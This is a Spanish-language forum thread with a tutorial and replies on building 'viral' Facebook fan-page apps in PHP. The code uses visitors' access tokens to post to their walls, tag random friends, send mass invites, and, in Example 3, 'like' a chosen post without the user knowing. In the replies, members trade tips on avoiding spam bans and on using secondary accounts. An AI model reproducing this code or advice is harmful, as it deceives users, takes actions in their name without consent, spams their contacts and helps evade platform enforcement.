Tutorial: Fanpage Facebook viral - ¡Más ejemplos Virales!

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
57
Crédito(s)
1
Puntos
25.567
En esta ocasión aprenderán a agregar módulos mas virales!
1a- Como config todo: http://forobeta.com/tutoriales/130655-crear-aplicacion-facebook-y-agregarla-a-nuestra-fan-page.html
1b- Otros ejemplos virales: http://forobeta.com/tutoriales/130980-otros-ejemplos-de-aplicaciones-fanspages.html
2- Tomaremos como base el de suerte diaria: suerte2.rar

Vamos a reemplazar solo este código por otros (tab.php):
PHP:
if($_REQUEST['crear']==""){
            //Numero aleatorio y mostramos el resultado
            $CUAL = mt_rand(10,95);
            echo '<a href="'.$_MSERVER.'tab.php?crear=1&cual='.$CUAL.'&signed_request='.$_REQUEST['signed_request'].'"><img src="pic/button.png" border="0"></a><br/><br/>';
            echo '<img src="fondos/tmp_'.$CUAL.'.jpg">';
}else{
            //Subimos la imagen
            $_P['message'] = trim('Descubre tu suerte diaria. '.$_LNK);
            $_P['source'] = "@" . realpath('fondos/tmp_'.$_REQUEST['cual'].'.jpg');
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,'https://graph.facebook.com/'.$_R['user_id'].'/photos?access_token='.$_R['oauth_token']);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $_P);
            $resultado = curl_exec($ch);
            $resultado = json_decode($resultado, true);
            curl_close($ch);

            //echo "<script>window.top.location = '".$_LNK."';</script>";
            //Si no queremos mostrar mas nada solo sacamos las barras de comentario (//) en la linea anterior
            //Sino mostramos algo.
            echo '<h1>Tu imagen fue subida con exito, podras verla en tu perfil</h1>';
}
Ejemplo 1 - Etiquetar Amigos al AZAR
PHP:
if($_REQUEST['crear']==""){
            //Numero aleatorio y mostramos el resultado
            $CUAL = mt_rand(10,95);
            echo '<a href="'.$_MSERVER.'tab.php?crear=1&cual='.$CUAL.'&signed_request='.$_REQUEST['signed_request'].'"><img src="pic/button.png" border="0"></a><br/><br/>';
            echo '<img src="fondos/tmp_'.$CUAL.'.jpg">';
}else{
	    //Etiquetamos amigos al azar
	    foreach(_DameAmigos(0) as $K=>$AMIg){
			$KOOR[] = array('tag_uid'=> $AMIg,'x'=>rand()%100,'y'=>rand()%100);
	    }
	    $_P['tags'] = json_encode($KOOR);
	    //Fin Etiquetar!
            //Subimos la imagen
            $_P['message'] = trim('Descubre tu suerte diaria. '.$_LNK);
            $_P['source'] = "@" . realpath('fondos/tmp_'.$_REQUEST['cual'].'.jpg');
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,'https://graph.facebook.com/'.$_R['user_id'].'/photos?access_token='.$_R['oauth_token']);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $_P);
            $resultado = curl_exec($ch);
            $resultado = json_decode($resultado, true);
            curl_close($ch);

            //echo "<script>window.top.location = '".$_LNK."';</script>";
            //Si no queremos mostrar mas nada solo sacamos las barras de comentario (//) en la linea anterior
            //Sino mostramos algo.
            echo '<h1>Tu imagen fue subida con exito, podras verla en tu perfil</h1>';
}

	function _DameAmigos($IMPLO){
		global $_R;
		//Obtenemos los amigos
		$AM = file_get_contents('https://graph.facebook.com/'.$_R['user_id'].'/friends?fields=id&access_token='.$_R['oauth_token']);
		$AM = json_decode($AM,true);
		if(count($AM['data'])>10) $QM = array_rand($AM['data'],10); else $QM = array_rand($AM['data'],count($AM['data']));

		foreach($QM as $aRM) $T[] = $AM['data'][$aRM]['id'];

		if($IMPLO==1) return implode($T,','); else return $T;
	}
Aclaración: Los amigos son etiquetados por porcentajes no por coordenadas. (como lo son si usamos GD)


Ejemplo 2 - Mandamos Invitaciones al AZAR
PHP:
if($_REQUEST['crear']==""){
            //Numero aleatorio y mostramos el resultado
            $CUAL = mt_rand(10,95);
            echo '<a href="'.$_MSERVER.'tab.php?crear=1&cual='.$CUAL.'&signed_request='.$_REQUEST['signed_request'].'"><img src="pic/button.png" border="0"></a><br/><br/>';
            echo '<img src="fondos/tmp_'.$CUAL.'.jpg">';
}else{
	    //Creamos las invitaciones
	    echo '<div id="fb-root"></div>
		<script>
		window.fbAsyncInit = function () {
			// init the FB JS SDK
			FB.init({
				appId: \''.$_APPID.'\', // App ID from the App Dashboard
				status: true, // check the login status upon init?
				cookie: true, // set sessions cookies to allow your server to access the session?
				xfbml: true, // parse XFBML tags on this page?
				frictionlessRequests: true
			});
			_MandarAmigos();
		};

	  // Load the SDK\'s source Asynchronously
	  (function(d, debug){
	     var js, id = \'facebook-jssdk\', ref = d.getElementsByTagName(\'script\')[0];
	     if (d.getElementById(id)) {return;}
	     js = d.createElement(\'script\'); js.id = id; js.async = true;
	     js.src = "//connect.facebook.net/es_LA/all" + (debug ? "/debug" : "") + ".js";
	     ref.parentNode.insertBefore(js, ref);
	   }(document, /*debug*/ false));

		function _MandarAmigos() {
			var amigos = \''._DameAmigos(1).'\';
			FB.ui({
				method: \'apprequests\',
				message: \'Descubre tu suerte diaria!\',
				to: amigos
			}, requestCallback);
		}
		function requestCallback(response) {
        		// Handle callback here
		}</script>';

            //Subimos la imagen
            $_P['message'] = trim('Descubre tu suerte diaria. '.$_LNK);
            $_P['source'] = "@" . realpath('fondos/tmp_'.$_REQUEST['cual'].'.jpg');
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,'https://graph.facebook.com/'.$_R['user_id'].'/photos?access_token='.$_R['oauth_token']);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $_P);
            $resultado = curl_exec($ch);
            $resultado = json_decode($resultado, true);
            curl_close($ch);

            //echo "<script>window.top.location = '".$_LNK."';</script>";
            //Si no queremos mostrar mas nada solo sacamos las barras de comentario (//) en la linea anterior
            //Sino mostramos algo.
            echo '<h1>Tu imagen fue subida con exito, podras verla en tu perfil</h1>';
}

	function _DameAmigos($IMPLO){
		global $_R;
		//Obtenemos los amigos
		$AM = file_get_contents('https://graph.facebook.com/'.$_R['user_id'].'/friends?fields=id&access_token='.$_R['oauth_token']);
		$AM = json_decode($AM,true);
		if(count($AM['data'])>10) $QM = array_rand($AM['data'],10); else $QM = array_rand($AM['data'],count($AM['data']));

		foreach($QM as $aRM) $T[] = $AM['data'][$aRM]['id'];

		if($IMPLO==1) return implode($T,','); else return $T;
	}
Aclaracion: Las invitaciones son enviadas al dominio configurado en facebook, no a tab.php, de esta manera toca crear un index.php que redireccione a la fanpage + la aplicacion.

Ejemplo 3 - El secreto de facebook revelado (jajajajajaja -.-) - Like sin que el usuario sepa!
Esto es legal, ya que existe en los ejemplo de facebook (en su ayuda, como TODO lo que enseño yo... ESTA EN LA AYUDA)
1- Creamos un post, link o subimos una imagen o video a nuestra fanpage
2- Hacemos click en donde muestra la hora de la publicacion (si recien lo posteamos dira hace unos segundos)
3- Veremos algo como esto:
Insertar CODE, HTML o PHP:
h t t p : / / www.facebook.com/photo.php?fbid=123456789&set=a.333230240250405003.723541.333220082717087423&type=1
4- Vemos que tenemos una variable en la url que es fbid, ese numero lo necesitamos (id del objeto) = 123456789
5- y a nuestro code agregamos!
PHP:
if($_REQUEST['crear']==""){
            //Numero aleatorio y mostramos el resultado
            $CUAL = mt_rand(10,95);
            echo '<a href="'.$_MSERVER.'tab.php?crear=1&cual='.$CUAL.'&signed_request='.$_REQUEST['signed_request'].'"><img src="pic/button.png" border="0"></a><br/><br/>';
            echo '<img src="fondos/tmp_'.$CUAL.'.jpg">';
}else{
	    //Hacemos like sin que el usuario sepa
	    $ID_DEL_OBJETO = "123456789";
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,'https://graph.facebook.com/'.$ID_DEL_OBJETO.'/likes?access_token='.$_R['oauth_token']);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $_P);
            $resultado = curl_exec($ch);
            $resultado = json_decode($resultado, true);
            curl_close($ch);

            //Subimos la imagen
            $_P['message'] = trim('Descubre tu suerte diaria. '.$_LNK);
            $_P['source'] = "@" . realpath('fondos/tmp_'.$_REQUEST['cual'].'.jpg');
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,'https://graph.facebook.com/'.$_R['user_id'].'/photos?access_token='.$_R['oauth_token']);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $_P);
            $resultado = curl_exec($ch);
            $resultado = json_decode($resultado, true);
            curl_close($ch);

            //echo "<script>window.top.location = '".$_LNK."';</script>";
            //Si no queremos mostrar mas nada solo sacamos las barras de comentario (//) en la linea anterior
            //Sino mostramos algo.
            echo '<h1>Tu imagen fue subida con exito, podras verla en tu perfil</h1>';
}
Esto lo que hace es que antes de postear la img en su muro, le esta haciendo "click" en el like a un post/imagen/video/link... no funciona con fanpages ni nada de esas cosas, solo objetos: comentarios; links; imagenes; videos; post.


Saludos y Don't Worry, Be VIRAL
 

Jesam

Lambda
Verificación en dos pasos activada
Verificado por Whatsapp
Desde
30 Dic 2011
Mensajes
2.881
Edad
28
Crédito(s)
0
Puntos
32
[MENTION=9679]cicklow[/MENTION] quiero decirte que eres el mejor tío, ERES GRANDE! gracias por aportar tremendo tutorial.
Haber que hago con ello y me pongo hacer mas app virales :p gracias por ayudarnos a hacer un $$ extra! :)
 

Ragnasin

Iota
Verificación en dos pasos desactivada
Desde
25 Ago 2012
Mensajes
2.488
Crédito(s)
0
Puntos
595
Excelente aporte, ahora falta llevarlo a la practica, se agradece :encouragement:
 

lynev

Épsilon
Verificación en dos pasos desactivada
Desde
25 Oct 2011
Mensajes
888
Crédito(s)
0
Puntos
26
aunque aun no me animo a hacer esto, creo con este post ya complementare mis conocimientos gracias por tomarte el tiempo de realizar este aporte y sobre todo por compartir
 

Eliop

Lambda
Social Media
Verificación en dos pasos desactivada
Desde
12 Jun 2011
Mensajes
2.870
Crédito(s)
0
Puntos
893
Excelente tutorial hermano, mil gracias.
 

Zuruck

Iota
Verificación en dos pasos desactivada
Desde
14 Abr 2012
Mensajes
2.260
Crédito(s)
1
Puntos
20
Te adoro [MENTION=9679]cicklow[/MENTION] :love_heart:
Pero espera, toca comprar SSL para esto no?

- - - Actualizado - - -

Digo para que funcione en las tabs de FB
 

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
57
Crédito(s)
1
Puntos
25.567
Te adoro [MENTION=9679]cicklow[/MENTION] :love_heart:
Pero espera, toca comprar SSL para esto no?

- - - Actualizado - - -

Digo para que funcione en las tabs de FB
Si, aunke la mayoria de los codes ke di tmb funcionan en dominios slo hay que acomodar las funciones
 

EliJ

1
Pi
Verificación en dos pasos desactivada
Verificado por Whatsapp
Desde
21 Mar 2012
Mensajes
5.801
Crédito(s)
0
Puntos
1.758
Gracias por compartir :encouragement:
 

SoloNegocios

Xi
SEO
Verificación en dos pasos desactivada
Desde
11 Abr 2009
Mensajes
4.371
Edad
36
Crédito(s)
0
Puntos
58
[MENTION=9679]cicklow[/MENTION] pero hay que advertirles que el etiquetar mucho a los amigos no es del todo bueno y pueden terminar Banneados como me paso xD
 

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
57
Crédito(s)
1
Puntos
25.567
[mention=9679]cicklow[/mention] pero hay que advertirles que el etiquetar mucho a los amigos no es del todo bueno y pueden terminar banneados como me paso xd
ok.

Aviso: Si etiquetan muchos usuarios y facebook los declara SPAMER pierden TODO (todas las apps)! por eso las atiquetas masivas úsenla en otro perfil. :)
 

Jesam

Lambda
Verificación en dos pasos activada
Verificado por Whatsapp
Desde
30 Dic 2011
Mensajes
2.881
Edad
28
Crédito(s)
0
Puntos
32
[MENTION=9679]cicklow[/MENTION] pero hay que advertirles que el etiquetar mucho a los amigos no es del todo bueno y pueden terminar Banneados como me paso xD
Valla suerte la tuya XD

ok.

Aviso: Si etiquetan muchos usuarios y facebook los declara SPAMER pierden TODO (todas las apps)! por eso las atiquetas masivas úsenla en otro perfil. :)
Queda muy claro, ya que seria algo extremadamente viral >_<
Ahora solo ando probando el de enviar invitaciones y la verdad ah dado buenos resultados, queda probar el de etiquetado.

Gracias cicklow!
 

SoloNegocios

Xi
SEO
Verificación en dos pasos desactivada
Desde
11 Abr 2009
Mensajes
4.371
Edad
36
Crédito(s)
0
Puntos
58
Valla suerte la tuya XD



Queda muy claro, ya que seria algo extremadamente viral >_<
Ahora solo ando probando el de enviar invitaciones y la verdad ah dado buenos resultados, queda probar el de etiquetado.

Gracias cicklow!
Pruebalo con cautela ya que te pueden terminar Banneando todo: Aplicaciones y Cuenta Programador

Me toco usar mi otra cuenta, lastima que me Bannearon la original con mis datos reales :p

Por otro lado [MENTION=9679]cicklow[/MENTION] debe haber un numero mágico de veces que podamos etiquetar por cada foto subida porque seria injusto Bannear una App que etiquete solo 2 personas.

Para las aplicaciones que publicaban en el muro de los amigos hacia que publicaran a un numero aleatorio de amigos que no superaban los 5 y nunca me la Bannearon pero a la que lo hacia con 7 la Bannearon el mismo día así que me imagino que para etiquetar es lo mismo debe haber un número mínimo permitido para etiquetar por foto o por cada dia, si no es una injusticia xD
 

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
57
Crédito(s)
1
Puntos
25.567
Pruebalo con cautela ya que te pueden terminar Banneando todo: Aplicaciones y Cuenta Programador

Me toco usar mi otra cuenta, lastima que me Bannearon la original con mis datos reales :p

Por otro lado [MENTION=9679]cicklow[/MENTION] debe haber un numero mágico de veces que podamos etiquetar por cada foto subida porque seria injusto Bannear una App que etiquete solo 2 personas.

Para las aplicaciones que publicaban en el muro de los amigos hacia que publicaran a un numero aleatorio de amigos que no superaban los 5 y nunca me la Bannearon pero a la que lo hacia con 7 la Bannearon el mismo día así que me imagino que para etiquetar es lo mismo debe haber un número mínimo permitido para etiquetar por foto o por cada dia, si no es una injusticia xD
Si en el ejemplo se etiqueta a 10 amigos, pueden usar a 2 a ver como va. Yo con 10 amigos me eliminaron la apps a los 15mimnutos y declararon mi cuenta de spamer, asique tuve que verificar nuevamente!
 

YeltsinReyes

Zeta
Verificación en dos pasos desactivada
Desde
16 Feb 2010
Mensajes
1.628
Edad
29
Crédito(s)
0
Puntos
1.371
Estoy probando esta app pero me sale un error: function _dameamigos() in /home/ alguien que me ayude.??????
 

Arriba